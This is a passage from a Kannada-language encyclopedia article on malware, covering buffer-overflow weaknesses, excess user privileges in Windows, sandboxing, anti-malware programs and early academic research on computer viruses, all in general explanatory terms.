ಪೂರ್ಣ ಪ್ರಮಾಣದ ಸ್ಥಗಿತಗೊಳ್ಳುವಿಕೆಯ ವೆಚ್ಚವನ್ನು, "ಒಂದೇ ಬುಟ್ಟಿಯಲ್ಲಿ ಎಲ್ಲಾ ಮೊಟ್ಟೆಗಳು" ಎಂಬಂಥ ಸಮಸ್ಯೆಗೆ ಕಾರಣವಾದ ಹೋಮೊಜೆನಿಟಿಯನ್ನು ತಡೆಯಬಲ್ಲುದು. ಹೆಚ್ಚಿನ ಗಣಕಗಳು, ಮಾಲ್‌ವೇರ್‌ ಮೋಸದಿಂದ ಬಳಸಿಕೊಳ್ಳಬಲ್ಲಂಥ ತೊಂದರೆಗಳನ್ನು, ಅಥವಾ ನಿಯಮಗಳಿಂದ ತಪ್ಪಿಸಿಕೊಳ್ಳುವ ಉಪಾಯಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತವೆ. ಒಂದು ಸಾಮಾನ್ಯ ಉದಾಹರಣೆಯೆಂದರೆ, ಮಾಹಿತಿಯನ್ನು ಸಂಗ್ರಹಿಸಿಡಲು ಮೆಮೊರಿಯ ಒಂದು ಸಣ್ಣ ಭಾಗದಲ್ಲಿ ರಚಿತವಾದ ಅಂತರ ಸಂಪರ್ಕ ಸಾಧನವು ಉಪಯೋಗಿಸುವವರಿಗೆ ಹಿಡಿಯುವುದಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಮಾಹಿತಿಯನ್ನು ಪೂರೈಸಿಬಿಡುವ [[ತಾತ್ಕಾಲಿಕ ಸಂಗ್ರಹ-ಅತಿಕ್ರಮಣ ನ್ಯೂನತೆ]]. ಹೀಗೆ ಪೂರೈಸಿದಾಗ, ಈ ಹೆಚ್ಚುವರಿ ಮಾಹಿತಿಯು ಅಂತರ್‌ ಸಂಪರ್ಕ ಸಾಧನದ ಕಾರ್ಯದ ವಿನ್ಯಾಸದ ಮೇಲೆ ಬರೆಯಲ್ಪಡುತ್ತದೆ (ಹಿಂದಿನ ತಾತ್ಕಾಲಿಕ ಸಂಗ್ರಹ ಮತ್ತು ಇತರೆ ಮಾಹಿತಿಯ ಕೊನೆಗೊಳ್ಳುವಿಕೆ). ಈ ರೀತಿ, ಮಾಲ್‌ವೇರ್ ನಿಜವಾದ ಮಾಹಿತಿಯೊಂದಿಗಿನ ಸರಿಯಾದ ಸಂಕೇತ ಲಿಪಿಯನ್ನು ಬದಲಾಯಿಸಿ, ಬಫರ್‌ನ ಹೊರಗೆ ಲೈವ್‌ ಮೆಮೊರಿಗೆ ಕಾಪಿ ಮಾಡಲಾದ ತನ್ನದೇ ಪೇಲೋಡ್‌ ಸಂಕೇತಗಳಿಂದ ದುರಾಗ್ರಹ ಸಂಕೇತ ಲಿಪಿ ಕಾರ್ಯರೂಪಗೊಳ್ಳುವಂತೆ ಗಣಕವನ್ನು ಒತ್ತಾಯಿಸಬಲ್ಲುದು. ಮೂಲತಃ ಗಣಕಗಳು ಫ್ಲಾಪಿ ಡಿಸ್ಕ್‌ನಿಂದ ಬೂಟ್‌ ಮಾಡಬೇಕು (ಪ್ರಾರಂಭಿಸಬೇಕು), ಮತ್ತು ಇತ್ತೀಚಿನವರೆಗೆ ಇದು ಸಾಮಾನ್ಯವಾದ ಪೂರ್ವನಿಯೋಜಿತ ಬೂಟ್ ಸಾಧನವಾಗಿತ್ತು. ಅರ್ಥಾತ್ ಹಾಳಾದ ಫ್ಲಾಪಿ ಡಿಸ್ಕ್ ಗಣಕ ಬೂಟ್ ಆಗುವ ಸಂದರ್ಭದಲ್ಲಿ ಅದನ್ನು ಕೆಡಿಸುವ ಸಾಧ್ಯತೆಯಿತ್ತು, ಮತ್ತು ಇದು ಸಿಡಿಗಳಿಗೂ ಅನ್ವಯಿಸುತ್ತದೆ. ಈಗ ಇದು ಕಡಿಮೆಯಾಗಿದ್ದರೂ, ಪೂರ್ವನಿಯೋಜಿತವಾದದ್ದನ್ನು ಬದಲಾಯಿಸಿದ್ದಾರೆ ಎಂಬುದನ್ನು ಮರೆಯುವ ಸಾಧ್ಯತೆಯಿದೆ ಮತ್ತು ತೆಗೆದು ಹಾಕಬಹುದಾದ ಮಾಧ್ಯಮದಿಂದ ಬೂಟ್ ಆಗುವುದನ್ನು [[ಬಿಐಒಎಸ್‌]] ಖಚಿತಪಡಿಸುವುದು ವಿರಳ. ಕೆಲವು ಗಣಕಗಳಲ್ಲಿ ವಿನ್ಯಾಸದಲ್ಲಿಯೇ, ಅಡ್‌ಮಿನಿಸ್ಟ್ರೇಟರ್‌ಗಳಲ್ಲದ ಬಳಕೆದಾರರು ಅಧಿಕ-ಸವಲತ್ತುಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ, ಅಂದರೆ ಆಂತರಿಕ ವಿನ್ಯಾಸವನ್ನು ಬದಲಾಯಿಸುವ ಅವಕಾಶ ಹೊಂದಿದ್ದಾರೆ. ಕೆಲವು ಸನ್ನಿವೇಶಗಳಲ್ಲಿ, ಬಳಕೆದಾರರು ಯೋಗ್ಯವಲ್ಲದ ರೀತಿಯಲ್ಲಿ ಅಡ್‌ಮಿನಿಸ್ಟ್ರೇಟರ್‌ ಅಥವಾ ಅವರಿಗೆ ಸಮನಾದ ಸ್ಥಾನವನ್ನು ಕೊಡಲ್ಪಟ್ಟಿರುವ ಕಾರಣದಿಂದ ಅಧಿಕ-ಸವಲತ್ತುಗಳನ್ನು ಹೊಂದಿರುತ್ತಾರೆ. ಇದು ಪ್ರಾಥಮಿಕವಾಗಿ ಒಂದು ಕಾನ್‌ಫಿಗರೇಷನ್‍ನ ನಿರ್ಧಾರ, ಆದರೆ ಮೈಕ್ರೋಸಾಫ್ಟ್ ವಿಂಡೋಸ್ ಸಿಸ್ಟಮ್‌ಗಳಲ್ಲಿ ಪೂರ್ವನಿಯೋಜಿತ ಕಾನ್‌ಫಿಗರೇಷನ್‌ನ ಉದ್ದೇಶ ಬಳಕೆದಾರರಿಗೆ ಅಧಿಕ-ಸವಲತ್ತುಗಳನ್ನು ನೀಡುವುದು. ಹಳೆ ಯಂತ್ರಗಳ ಮೇಲೆ ಹೊಸ ಯಂತ್ರಗಳ ಭದ್ರತಾ ಕಾನ್‌ಫಿಗರೇಷನ್‌ ಹೊಂದಿಕೆಯಾಗುವಂತೆ ಆದ್ಯತೆ ನೀಡಲು ಮೈಕ್ರೋಸಾಫ್ಟ್ ನಿರ್ಧರಿಸಿದುದರಿಂದ {{Citation needed|date=February 2007}}ಹಾಗೂ ಸಾಮಾನ್ಯ ಅನ್ವಯಗಳು ಕಡಿಮೆ-ಸವಲತ್ತುಳ್ಳ ಬಳಕೆದಾರರನ್ನು ಗಮನದಲ್ಲಿರಿಸದೆ ರಚಿತವಾದ್ದರಿಂದ ಈ ಪರಿಸ್ಥಿತಿ ಉಂಟಾಗಿದೆ. ಸವಲತ್ತು ಅಭಿವೃದ್ಧಿಯಾಗುವಿಕೆಯ ಮೋಸದ ಬಳಕೆ ಹೆಚ್ಚಾಗಿರುವ ಕಾರಣ ಈ ಆದ್ಯತೆಯು ಮೈಕ್ರೋಸಾಫ್ಟ್ [[ವಿಂಡೋಸ್ ವಿಸ್ತಾ]]ದ ಬಿಡುಗಡೆಯತ್ತ ಬದಲಾಯಿತು. ಪರಿಣಾಮವಾಗಿ, ಹೆಚ್ಚಿನ ಸವತ್ತು ಅಗತ್ಯವಿರುವ (ಅಧಿಕ-ಸವಲತ್ತುಳ್ಳ ಸಂಕೇತ ಲಿಪಿ), ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಹಲವಾರು ಅಪ್ಲಿಕೇಷನ್‍ಗಳು ವಿಸ್ತಾದೊಂದಿಗೆ ಹೊಂದಾಣಿಕೆಯ ಸಮಸ್ಯೆಗಳನ್ನು ಎದುರಿಸಬಹುದು. ಆದಾಗ್ಯೂ, ವಿಸ್ತಾದ ಬಳಕೆದಾರರ ಖಾತೆಯ ನಿಯಂತ್ರಣವು, ಪೂರ್ವಾರ್ಜಿತ ಅಪ್ಲಿಕೇಷನ್‌ಗಳಲ್ಲಿ ಅಂತರ್ಗತವಾಗಿರುವ ಸೌಲಭ್ಯಾಧಾರಿತ ಉಪಯೋಗದ ಸಮಸ್ಯೆಯನ್ನು ನಿವಾರಿಸುವ ಆಧಾರದಂತೆ ವರ್ತಿಸುತ್ತ, ವರ್ಚುವಲೈಜೇಷನ್ ಮೂಲಕ ಕಡಿಮೆ-ಸವಲತ್ತುಳ್ಳ ಬಳಕೆದಾರರಿಗೆ ವಿನ್ಯಾಸ ಮಾಡದ ಅಪ್ಲಿಕೇಷನ್‌ಗಳನ್ನು ನಿವಾರಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತದೆ. ಅಧಿಕ-ಸವಲತ್ತುಳ್ಳ ಸಂಕೇತ ಲಿಪಿಯಂತೆ ಕೆಲಸ ಮಾಡುತ್ತಿರುವ ಮಾಲ್‌ವೇರ್, ಗಣಕವನ್ನು ಬುಡಮೇಲು ಮಾಡಲು ಈ ಸೌಲಭ್ಯವನ್ನು ಬಳಸಿಕೊಳ್ಳಬಲ್ಲದು. ಪ್ರಸ್ತುತ ಜನಪ್ರಿಯವಾಗಿರುವ ಹೆಚ್ಚಿನ ಎಲ್ಲಾ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ಗಳು, ಹಾಗೂ ಹಲವು ಆದೇಶ ಸರಣಿಯ ಅಪ್ಲಿಕೇಷನ್‌‌ಗಳೂ, ಒಬ್ಬ ಬಳಕೆದಾರ ಸಂಕೇತ ಲಿಪಿಯನ್ನು ಕಾರ್ಯರೂಪಗೊಳಿಸಿದಾಗ ಕಂಪ್ಯೂಟರ್ ಆ ಬಳಕೆದಾರನ ಎಲ್ಲಾ ಹಕ್ಕುಗಳನ್ನೂ ಆ ಸಂಕೇತ ಲಿಪಿಗೆ ಅನುಮತಿಸುತ್ತದೆ ಎಂಬ ದೃಷ್ಟಿಯಿಂದ, ಸಂಕೇತ ಲಿಪಿಗೆ ಅತ್ಯಧಿಕ ಸೌಲಭ್ಯಗಳನ್ನು ನೀಡಿವೆ. ಇದು, ರಹಸ್ಯವಾಗಿಡಲು ಸಾಧ್ಯವಿರುವ ಅಥವಾ ಇಲ್ಲದ [[ಈ-ಮೇಲ್‌ ಅಟ್ಯಾಚ್‌ಮೆಂಟ್‌]] ರೂಪದಲ್ಲಿ ಬಳಕೆದಾರರು ಮಾಲ್‌ವೇರ್‌ನ ದಾಳಿಗೊಳಗಾಗುವಂತೆ ಮಾಡುತ್ತದೆ. ಈ ರೀತಿಯ ಘಟನೆಗಳಿರುವುದರಿಂದ, ಬಳಕೆದಾರರು ನಂಬಲರ್ಹ ಅಟ್ಯಾಚ್‌ಮೆಂಟ್‌ಗಳನ್ನು ಮಾತ್ರ ತೆರೆಯಬೇಕೆಂದು ಮತ್ತು ನಂಬಲರ್ಹವಲ್ಲದ ಮೂಲಗಳಿಂದ ಸ್ವೀಕರಿಸಿದ ಸಂಕೇತ ಲಿಪಿಯ ಬಗ್ಗೆ ಜಾಗರೂಕರಾಗಿರುವಂತೆ ಎಚ್ಚರಿಸಲಾಗಿದೆ. [[ಯಂತ್ರದ ಚಾಲನೆ]]ಗೆ ಅಧಿಕ ಸವಲತ್ತುಗಳನ್ನು ಕೇಳುವ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ಗಳನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸುವುದೂ ಸಾಮಾನ್ಯ, ಇವುಗಳನ್ನು ಹೆಚ್ಚು ಹೆಚ್ಚು ಯಂತ್ರಾಂಶ ತಯಾರಕರು ಪೂರೈಸಬೇಕಾಗುತ್ತದೆ. === ಹೆಚ್ಚಿನ-ಸವಲತ್ತುಗಳಿರುವ ಕೋಡ್‌ಗಳನ್ನು ತೆಗೆದುಹಾಕುವುದು === ಹೆಚ್ಚಿನ ಸವಲತ್ತುಗಳಿರುವ ಕೋಡ್‌ಗಳು, ಬಹಳಷ್ಟು ಪ್ರೊಗ್ರಾಮುಗಳನ್ನು ಗಣಕ ಜೊತೆಗೆ ಬಟವಾಡೆ ಮಾಡುವ ಅಥವಾ ತಾವೇ ಬರೆದುಕೊಳ್ಳುತ್ತಿದ್ದ ಸಮಯದಿಂದಲೂ ಇವೆ, ಮತ್ತು ಅದನ್ನು ರಿಪೇರಿ ಮಾಡಲು ಹೋಗುವುದರಿಂದ ಬಹುತೇಕ ವೈರಸ್‌-ವಿರೋಧಿ ತಂತ್ರಾಂಶಗಳನ್ನು ತದ್ವಿರುದ್ಧ ಮಾಡಿಬಿಡಬಹುದು. ಆದರೆ, ಬಳಕೆದಾರನ ಇಂಟರ್‌ಫೇಸ್ ಮತ್ತು ಗಣಕ ನಿರ್ವಹಣೆಯಲ್ಲಿ ಗಮನಾರ್ಹ ಪರಿಣಾಮಗಳನ್ನು ಹೊಂದಿವೆ. ಕಂಪ್ಯೂಟರಿನ ಬಳಿ ಸವಲತ್ತುಗಳ ಪ್ರೊಫೈಲ್‌ ಇರಬೇಕು ಮತ್ತು ಯಾವ ಬಳಕೆದಾರನಿಗೆ, ಯಾವ ಪ್ರೋಗ್ರಾಮ್‌ಗೆ ಯಾವ ಸವಲತ್ತನ್ನು ಬಳಸಬೇಕು ಎಂಬ ಅರಿವು ಇರಬೇಕು. ಹೊಸ ತಂತ್ರಾಂಶವನ್ನು ಅಳವಡಿಸಿದಲ್ಲಿ, ಹೊಸ ತಂತ್ರಲಿಪಿಗೆ ಡೀಫಾಲ್ಟ್‌ ಪ್ರೊಫೈಲ್‌ ಸಿದ್ಧಪಡಿಸಲು ಅಡ್ಮಿನಿಸ್ಟ್ರೇಟರ್‌ಗೆ ಗೊತ್ತಿರಬೇಕು. ದುಷ್ಟ [[ಡಿವೈಸ್‌ ಡ್ರೈವರ್‌]] ಗಳನ್ನು ಎದುರಿಸುವುದು ನಿರಂಕುಶ ದುಷ್ಟ ಕಾರ್ಯಕಾರಿಗಳನ್ನು ಎದುರಿಸುವುದಕ್ಕಿಂತ ಕಷ್ಟ. [[ವಿಎಂಎಸ್‌]]‌ನಲ್ಲಿ ಬಳಕೆಯಲ್ಲಿರುವ,ಉಪಯೋಗಕ್ಕೆ ಬರಬಹುದಾದ ಎರಡು ತಂತ್ರಗಳೆಂದರೆ, ಮೆಮೊರಿ ಸಂಯೋಜನೆ ನಿರ್ದಿಷ್ಟ ಸಾಧನವನ್ನು ಮಾತ್ರ ನೋಂದಾಯಿಸಿಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ಸಾಧನದ ಮಧ್ಯಸ್ಥಿಕೆಯಲ್ಲಿ ಡ್ರೈವರ್‌ಗೆ ಸಂಬಂಧಿಸಿದ ಒಂದು ಸಿಸ್ಟಮ್‌ ಇಂಟರ್‌ಫೇಸ್‌. ಇತರೆ ಮಾರ್ಗಗಳೆಂದರೆ: * [[ವರ್ಚುವಲೈಜೇಷನ್‌‌]]ಗೊಳಿಸುವ ವಿವಿಧ ರೀತಿಗಳು, ತಂತ್ರಲಿಪಿಗಳಿಗೆ ಕೇವಲ ವರ್ಚುವಲ್ ಸಂಪತ್ತಿಗೆ ಪ್ರವೇಶ ಕೊಡುವುದು * [[ಸ್ಯಾಂಡ್‌ಬಾಕ್ಸ್]] ಅಥವಾ [[ಜೈಲ್‌]]ನ ವಿವಿಧ ರೀತಿಗಳು * <code>java.security</code>ಯ [[ಜಾವಾ]]ದ ಸುರಕ್ಷತಾ ಕಾರ್ಯಕ್ರಮಗಳು ಈ ಮಾರ್ಗಗಳು, ಪೂರ್ತಿಯಾಗಿ ’ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌’ನಲ್ಲಿ ಸಂಯೋಜಿತವಾಗಿಲ್ಲದಿದ್ದರೂ, ಪ್ರಯತ್ನಗಳನ್ನು ಪುನರ್‌ ನಕಲಿ ಮಾಡುತ್ತವೆ ಮತ್ತು ಸಾರ್ವಕಾಲಿಕವಾಗಿ ಅನ್ವಯವಾಗುವುದಿಲ್ಲ, ಎರಡೂ ಸುರಕ್ಷತೆಗೆ ಅಪಾಯಕಾರಿ. == ಮಾಲ್‌ವೇರ್‌‍-ನಿರೋಧಕ ಪ್ರೊಗ್ರಾಮ್‌ಗಳು == ಮಾಲ್‌ವೇರ್‌ ಆಕ್ರಮಣವು ಹೆಚ್ಚಾಗುತ್ತಿದ್ದಂತೆ ವೈರಸ್‌ ಮತ್ತು ಸ್ಪೈವೇರ್‌ ರಕ್ಷಣೆಯಿಂದ ಮಾಲ್‌ವೇರ್‌ ರಕ್ಷಣೆಯ ಕಡೆಗೆ ಗಮನವನ್ನು ಕೇಂದ್ರೀಕರಿಸಲಾಯಿತು, ವಿಶೇಷ ಪ್ರೋಗ್ರಾಮ್‌ ಅನ್ನು ಇದರ ವಿರುದ್ಧ ಹೋರಾಡಲು ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾಯಿತು. ಮಾಲ್‌ವೇರ್-ನಿರೋಧಕ ಪ್ರೊಗ್ರಾಮ್‌ಗಳು ಮಾಲ್‌ವೇರ್‌ಗಳ ವಿರುದ್ಧ ಎರಡು ರೀತಿಯಲ್ಲಿ ಹೋರಾಡುತ್ತವೆ: # ಅವು ಸಮಯಕ್ಕೆ ಸರಿಯಾದ ರಕ್ಷಣೆಯನ್ನು ಮಾಲ್‌ವೇರ್‌ ತಂತ್ರಾಂಶ ಸ್ಥಾಪನೆಯಾಗುವುದರ ವಿರುದ್ಧ ನೀಡುತ್ತವೆ. ಈ ರೀತಿಯ ಸ್ಪೈವೇರ್‌ ರಕ್ಷಣೆಯ ಕೆಲಸವನ್ನು ವೈರಸ್‌ ನಿರೋಧಕ ಕೆಲಸದಂತೆ ಮಾಡುತ್ತವೆ. ಇಲ್ಲಿ ಮಾಲ್‌ವೇರ್‌ ನಿರೋಧಕ ತಂತ್ರಾಂಶವು ಎಲ್ಲ ಒಳಬರುವ ದತ್ತಾಂಶಗಳನ್ನು ಮಾಲ್‌ವೇರ್‌‍ ತಂತ್ರಾಂಶದ ಸಲುವಾಗಿ ಸ್ಕ್ಯಾನ್‌ ಮಾಡುತ್ತದೆ ಮತ್ತು ಇದು ಯಾವುದೇ ಬೆದರಿಕೆಗಳು ಕಂಡುಬಂದಲ್ಲಿ ಅದನ್ನು ತಡೆಯುತ್ತದೆ. # ಮಾಲ್‌ವೇರ್‌ ನಿರೋಧಕ ತಂತ್ರಾಂಶಗಳನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಈಗಾಗಲೇ ಗಣಕದಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾದ ಮಾಲ್‌ವೇರ್‌ ತಂತ್ರಾಂಶಗಳನ್ನು ಗುರುತಿಸಿ ತೆಗೆಯುವಲ್ಲಿ ಅದು ಸಹಾಯ ಮಾಡುತ್ತದೆ. ಈ ರೀತಿಯ ಮಾಲ್‌ವೇರ್ ರಕ್ಷಣೆಯು ಸಾಮಾನ್ಯವಾಗಿ ಉಪಯೋಗಿಸಲು ಸುಲಭವಾಗಿದ್ದು ಹೆಚ್ಚು ಜನಪ್ರಿಯವಾಗಿದೆ.{{Citation needed|date=November 2008}} ಈ ರೀತಿಯ ಮಾಲ್‌ವೇರ್‌ ನಿರೋಧಕ ತಂತ್ರಾಂಶಗಳು ವಿಂಡೋಸ್‌ನ ನೋಂದಣಿ, ಆಪರೇಟಿಂಗ್‌ ಸಿಸ್ಟಮ್‌ನ ಕಡತಗಳು ಮತ್ತು ಗಣಕದಲ್ಲಿ ಸ್ಥಾಪಿತ ಪ್ರೊಗ್ರಾಮ್‌ಗಳನ್ನು ಸ್ಕ್ಯಾನ್‌ ಮಾಡುತ್ತದೆ ಮತ್ತು ಯಾವುದಾದರೂ ಬೆದರಿಕೆ ಕಂಡುಬಂದಲ್ಲಿ ಅದರ ಪಟ್ಟಿಯನ್ನು ಉಪಯೋಗಿಸುವವರಿಗೆ ಯಾವ ಕಡತವನ್ನು ಇಟ್ಟುಕೊಳ್ಳುವುದು ಮತ್ತು ತೆಗೆದು ಹಾಕುವುದು ಎಂಬುದನ್ನು ನಿರ್ಧರಿಸಲು ಅವಕಾಶ ಮಾಡಿಕೊಡುತ್ತದೆ. ಅಲ್ಲದೆ ಈ ಪಟ್ಟಿಯನ್ನು ಪರಿಚಿತ ಮಾಲ್‌ವೇರ್ ತಂತ್ರಾಂಶ ಪಟ್ಟಿಯ ಜೊತೆಗೆ ಹೋಲಿಕೆ ಮಾಡುವ ಮೂಲಕ, ಹೊಂದಾಣಿಕೆಯ ಕಡತಗಳನ್ನು ತೆಗೆಯಲು ಅನುಕೂಲವಾಗುವಂತೆ ಮಾಡುತ್ತದೆ. ಮಾಲ್‌ವೇರ್‌‍ ಕೆಲಸಗಳಿಂದ ರಕ್ಷಣೆಗಾಗಿ ಬಳಸುವ ರಿಯಲ್‌-ಟೈಮ್‌ ಪ್ರೊಟೆಕ್ಷನ್‌‍ ಇದು ಗುರುತರವಾಗಿ ರಿಯಲ್‍-ಟೈಮ್‌ ವೈರಸ್‌ ನಿರೋಧಕದಂತೆ ಕೆಲಸ ಮಾಡುತ್ತದೆ. ಈ ತಂತ್ರಾಂಶವು ಡಿಸ್ಕ್‌ಫೈಲ್‌ಗಳನ್ನು ಡೌನ್‌ಲೋಡ್‌ ಮಾಡುವ ಸಮಯದಲ್ಲೇ ಸ್ಕ್ಯಾನ್‌ ಮಾಡುತ್ತದೆ ಮತ್ತು ಮಾಲ್‌ವೇರ್‌ಗಳನ್ನು ಪ್ರತಿನಿಧಿಸುವ ಚಟುವಟಿಕೆಗಳನ್ನು ತಡೆಯುತ್ತದೆ. ಕೆಲವು ಸಂದರ್ಭಗಳಲ್ಲಿ ಇದು ಸ್ಟಾರ್ಟ್‌-ಅಪ್‌ ಐಟಮ್‌ಗಳನ್ನು ಅಥವಾ ಬ್ರೌಸರ್‌ ವ್ಯವಸ್ಥೆಯನ್ನು ಬದಲು ಮಾಡುವ ಪ್ರಯತ್ನವನ್ನು ತಡೆಯುತ್ತದೆ. ಏಕೆಂದರೆ ಹಲವಾರು ಮಾಲ್‌ವೇರ್‌ ಘಟಕಗಳು ಬ್ರೌಸರ್‌ಗಳ ಕಾರಣದಿಂದಾಗಿ ಅಥವಾ ಉಪಯೋಗಿಸುವವರ ತಪ್ಪಿನಿಂದಾಗಿ ಸ್ಥಾಪಿತವಾಗುತ್ತವೆ. ಅಲ್ಲದೆ ’ಸ್ಯಾಂಡ್‌ಬಾಕ್ಸ್’ ಬ್ರೌಸರ್‌ಗೆ (ತಪ್ಪದೆ, ಬಳಕೆದಾರರಿಗೆ ಅವರು ಬಳಸುವ ಬ್ರೌಸರ್‌ ಕುರಿತಾಗಿ ಸರಿಯಾದ ಮಾಹಿತಿಯನ್ನು ನೀಡುವುದು ಒಳಿತು) ಬಳಸುವ ಕೆಲವು ರಕ್ಷಣಾ ತಂತ್ರಾಂಶಗಳು (ಇವುಗಳಲ್ಲಿ ಕೆಲವು ಮಾಲ್‌ವೇರ್‌ ನಿರೋಧಕ ಕೆಲವು ಮಾಲ್‌ವೇರ್‌ ನಿರೋಧಕಗಳಲ್ಲ) ಗಣಕಕ್ಕೆ ಉಂಟಾಗುವ ಹಾನಿಯನ್ನು ತಪ್ಪಿಸುವಲ್ಲಿ ಸಹಾಯ ಮಾಡುತ್ತವೆ. == ಮಾಲ್‌ವೇರ್‌ ತಂತ್ರಾಂಶದ ಕುರಿತಾದ ಶೈಕ್ಷಣಿಕ ಸಂಶೋಧನೆ: ಸಂಕ್ಷಿಪ್ತ ಸಮೀಕ್ಷೆ == ಸ್ವ-ಮರುಪೂರ್ಣಗೊಳ್ಳುವ ಗಣಕ ಕಲ್ಪನೆಯು ಸುಮಾರು ೧೯೪೯ರಲ್ಲಿ [[ಜಾನ್‌ ವೊನ್‌ ನ್ಯೂಮನ್‌]]‍ ಅವರು ನೀಡಿದ ಉಪನ್ಯಾಸವು ಸಂಕೀರ್ಣ ಅಟೊಮ್ಯಾಟಾಗಳ ಸಿದ್ಧಾಂತ ಮತ್ತು ಸಾಂಸ್ಥಿಕರಣದ ಕಲ್ಪನೆಯನ್ನು ಮೀರಿತ್ತು.<ref>ಜಾನ್ ವೊನ್ ನ್ಯೂಮನ್,"ಥಿಯರಿ ಆಫ್ ಸೆಲ್ಫ್-ರಿಪ್ರೊಡ್ಯುಸಿಂಗ್ ಆಟೊಮಾ", ಪಾರ್ಟ್ 1: ಟ್ರಾನ್ಸ್‌ಸ್ಕ್ರೀಪ್ಟ್ಸ್ ಆಪ್ ಲೆಕ್ಚರ್ಸ್ ಗಿವನ್ ಅಟ್ ದಿ ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಇಲಿನೊಯಿಸ್, ಯುಎಸ್‌ಎ,೧೯೬೬.</ref> ನ್ಯೂಮನ್‌ ಅವರು ತಮ್ಮ ಸಿದ್ಧಾಂತದಲ್ಲಿ ಪ್ರೊಗ್ರಾಮ್‌ಗಳು ತಂತಾನೆ ಮರುರೂಪುಗೊಳ್ಳುವುದನ್ನು ಮಂಡಿಸಿದ್ದರು. ಇದು ಸಂಭವನೀಯ ಫಲಿತಾಂಶವನ್ನು [[ಕಂಪ್ಯೂಟಾಬಿಲಿಟಿ ಸಿದ್ಧಾಂತ]]ದ ಕುರಿತು ಹೊಂದಿತ್ತು. ಫ್ರೆಡ್‌ ಕೋಹೆನ್‌ ಗಣಕ ವೈರಸ್‌ಗಳು ಮತ್ತು ನಿರ್ಧರಿತ ನ್ಯೂಮನ್‌ನ ಸಿದ್ಧಾಂತವನ್ನು ಕುರಿತಾಗಿ ಪ್ರಯೋಗ ಮಾಡಿದನು. ಅವನು ಮಾಲ್‌ವೇರ್‌ ಕುರಿತಾದ ಇತರ ಸ್ವತ್ತುಗಳ ಕುರಿತಾಗಿಯೂ (ಕಂಡುಹಿಡಿಯುವಿಕೆ ಮತ್ತು ಮೂಲ ಗೂಢ ಲಿಪೀಕರಣವನ್ನು ಸ್ವ-ಕಾರ್ಯಕ್ಷಮತೆ ಕಡಿಮೆಯಾಗುವ ಪ್ರೊಗ್ರಾಮ್‌ಗಳನ್ನು ಅವನು "ವಿಕಸಿತ"ವಾದವುಗಳು ಮತ್ತು ಇತರೇ ಹೆಸರುಗಳಿಂದ ಕರೆದನು). ಅವನು ೧೯೮೮ರಲ್ಲಿ ತನ್ನ ಡಾಕ್ಟರೇಟ್‌ ಸಲುವಾಗಿ ಮಂಡಿಸಿದ ಪ್ರೌಢ ಪ್ರಬಂಧದ ವಿಷಯವು ಗಣಕ ವೈರಸ್‌ ಕುರಿತಾದುದಾಗಿತ್ತು.<ref>ಫ್ರೆಡ್ ಕೊಹೆನ್, "ಕಂಪ್ಯೂಟರ್ ವೈರಸಸ್", ಪಿಹೆಚ್‌ ಡಿ ಥೀಸಿಸ್, ಸೌಥರ್ನ್ ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಎ‌ಎಸ್‌ಪಿ ಪ್ರೆಸ್, ೧೯೮೮.</ref> ಕೊಹೆನ್‌ನ ಅಧ್ಯಾಪಕ ಸಲಹೆಗಾರರಾಗಿದ್ದ ಲಿಯೊನಾರ್ಡ್ ಅಡ್ಲ್‌ಮನ್‌ ([[RSA]]ಯಲ್ಲಿಯ A) ಕೂಲಂಕುಷವಾದ ಆಧಾರವನ್ನು ನೀಡುತ್ತಾ, ಸಾಮಾನ್ಯ ಪ್ರಕರಣಗಳಲ್ಲಿ, ಗಣನ ಪದ್ಧತಿಯ ಪ್ರಕಾರ ವೈರಸ್‌ ಇದೆಯೋ ಇಲ್ಲವೊ ಎಂಬುದನ್ನು ಕಂಡುಕೊಳ್ಳುವುದು ಸಾಧ್ಯವಾಗುವುದಿಲ್ಲ ಎಂದು ಮಂಡಿಸಿದ್ದನು.<ref>ಎಲ್.ಎಮ್.ಆಡಲ್‌ಮ್ಯಾನ್, "ಆ‍ಯ್‌ನ್ ಅಬ್‌ಸ್ಟ್ರಾಕ್ಟ್ ಥಿಯರಿ ಆಫ್ ಕಂಪ್ಯೂಟರ್ ವೈರಸ್", ಅಡ್ವಾನ್ಸಸ್ ಇನ್ ಕ್ರೈಪೊಟಾಲಜಿ-- ಕ್ರೈಪ್ಟೊ '೮೮, LNCS ೪೦೩, pp. ೩೫೪-೩೭೪, ೧೯೮೮.</ref> ಇದನ್ನು ವೈರಸ್‌ಗಳು ಇಲ್ಲದ ಹೆಚ್ಚಿನ ವರ್ಗದ ಪ್ರೊಗ್ರಾಮ್‌ಗಳಲ್ಲಿ ಇರುವ ಸಮಸ್ಯೆಯನ್ನು ಗುರುತಿಸುವ ಸಲುವಾಗಿ ಮಾಡಿರುವ ಪ್ರೊಗ್ರಾಮ್‌ ಆಗಿರುವುದಿಲ್ಲ.ಅಲ್ಲದೆ ಈ ಸಮಸ್ಯೆಯು ಇದಕ್ಕಿಂತ ಭಿನ್ನವಾಗಿದ್ದು, ಇದು ಎಲ್ಲ ವೈರಸ್‌ಗಳನ್ನು ಕಂಡುಹಿಡಿಯುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರಬೇಕೆಂದೇನೂ ಇಲ್ಲ. ಅಲ್ಡೆಮನ್‌ನ ಈ ಆಧಾರವು ಈವರೆಗಿನ ಮಾಲ್‌ವೇರ್‌ [[ಕಂಪ್ಯೂಟಾಬಿಲಿಟಿ ಸಿದ್ಧಾಂತ]]ವು [[ಕ್ಯಾಂಟರ್‌ನ ಡಯಾಗ್ನಲ್‌ ಸಿದ್ಧಾಂತ]] ಹಾಗೂ [[ಸಮಸ್ಯೆಯನ್ನು 